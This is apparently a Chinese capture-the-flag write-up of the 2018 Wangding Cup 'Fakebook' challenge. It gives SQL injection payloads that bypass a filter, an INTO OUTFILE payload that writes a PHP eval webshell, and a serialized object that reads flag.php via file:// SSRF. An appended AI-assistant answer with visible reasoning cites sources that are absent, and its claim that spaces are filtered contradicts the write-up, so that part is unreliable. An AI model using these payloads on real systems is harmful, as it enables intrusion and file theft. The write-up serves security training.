[网鼎杯 2018]Fakebook

考点:sql注入联合反序列化

先正常注册了一个用户名、密码和年龄都是123的用户,发现在注册的时候blog必须要一个网址才行,很明显后台做了过滤。登陆。
在这里插入图片描述
点击123,发现url很经典。

在这里插入图片描述
测试了一下,发现是个很简单的sql联合查询注入。这个过滤很神奇可能只是为了走个流程,过滤了union select。对!你没有看错,就是过滤了这两个单词加空格连在一起的字符串。所以我们用union/**/select就可以绕过了。
注入payload为:

0 union/**/select 1,database(),3,4%20from%20users%23

然后,发现只有fakebook下面的users表有数据,还是刚刚我们注册的信息。
用户名是明文存储的,密码是md5后存储的,data信息里面则存储了一段反序列化信息。

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:23:"https://www.123456.com/";}

在这里插入图片描述

还发现了文件路径泄露,和一个重要函数unserialize()。
在这里插入图片描述
那么这道题的考点应该就是反序列化了。但是我比较懒,我就打算用其他方法试试。
这个方法就是mysql读写文件,写一句话到网站根目录下。
payload:

0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"

但是没有写文件的权限。
在这里插入图片描述

ok!
那就顺着反序列化的思路去找找看,扫描后台发现了flag.php和robots.txt。
在这里插入图片描述
得到了泄漏的源码,最基础的反序列化。
运行下面的脚本得到payload。

<?php
class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);
?>

源码其实也不太必要,通过刚才的序列化结果就可以构造payload了。

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23

在这里插入图片描述

<think>好的,用户提到Fakebook,看起来可能与CTF题目有关,特别是2018的题目。用户引用了多个涉及SQL注入、PHP反序列化和SSRF的内容。首先,我需要整理这些引用中的关键点。 首先,引用[2]和[3]指出存在SQL注入点,使用union select进行注入,并且过滤了空格,需要用/**/代替。然后,通过构造特定的Payload,利用PHP反序列化漏洞,将UserInfo对象的blog属性设置为file://协议,触发SSRF读取服务器上的flag.php文件。引用[5]中的Payload示例进一步验证了这个方法。 用户可能在询问如何解决这个CTF题目,或者想了解相关的漏洞利用方法。需要分步骤解释漏洞的发现和利用过程,包括如何确定注入点、绕过过滤、构造Payload以及结合反序列化和SSRF获取flag。同时,根据用户提供的引用,确保回答的准确性,并正确标注引用来源。 最后,生成的相关问题需要围绕SQL注入、反序列化、SSRF以及该题目的其他可能解法,帮助用户深入理解每个步骤的原理和相关技术。</think>### Fakebook漏洞分析与利用(2018) 根据提供的参考资料,该题目主要涉及SQL注入、PHP反序列化、SSRF(服务端请求伪造)的综合利用,以下是关键分析步骤: --- #### 1. **漏洞发现** - **注入点定位**:通过参数`?no=1`发现存在数字型SQL注入,使用`?no=0++order++by++4--+`确认字段数为4[^2] - **过滤绕过**:对空格进行过滤,可用`/**/`或`++`代替,如`union/**/select`构造注入语句[^3] --- #### 2. **漏洞利用** **Step 1 - 报错注入验证** ```sql ?no=0/**/union/**/select+updatexml(1,concat(0x7e,database()),1),2,3,4--+ ``` 通过报错信息可获取数据库名`fakebook`[^3] **Step 2 - 联合查询构造** ```sql ?no=-1/**/union/**/select+1,2,3,4--+ ``` 确认回显位置后,替换有效字段为数据查询结果[^5] **Step 3 - 反序列化+SSRF** 构造包含`file://`协议的PHP序列化对象: ```php O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";} ``` 通过SQL注入将该对象写入查询结果: ```sql ?no=-1/**/union/**/select+1,2,3,'<序列化字符串>'--+ ``` 触发反序列化后,`blog`属性会通过`file://`协议读取服务器本地的flag.php文件 --- #### 3. **技术原理** - **SQL注入**:利用`UNION SELECT`合并恶意查询结果 - **PHP反序列化**:`UserInfo`类实例化时自动加载`blog`属性 - **SSRF**:`file://`协议绕过络限制访问本地文件[^4] ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值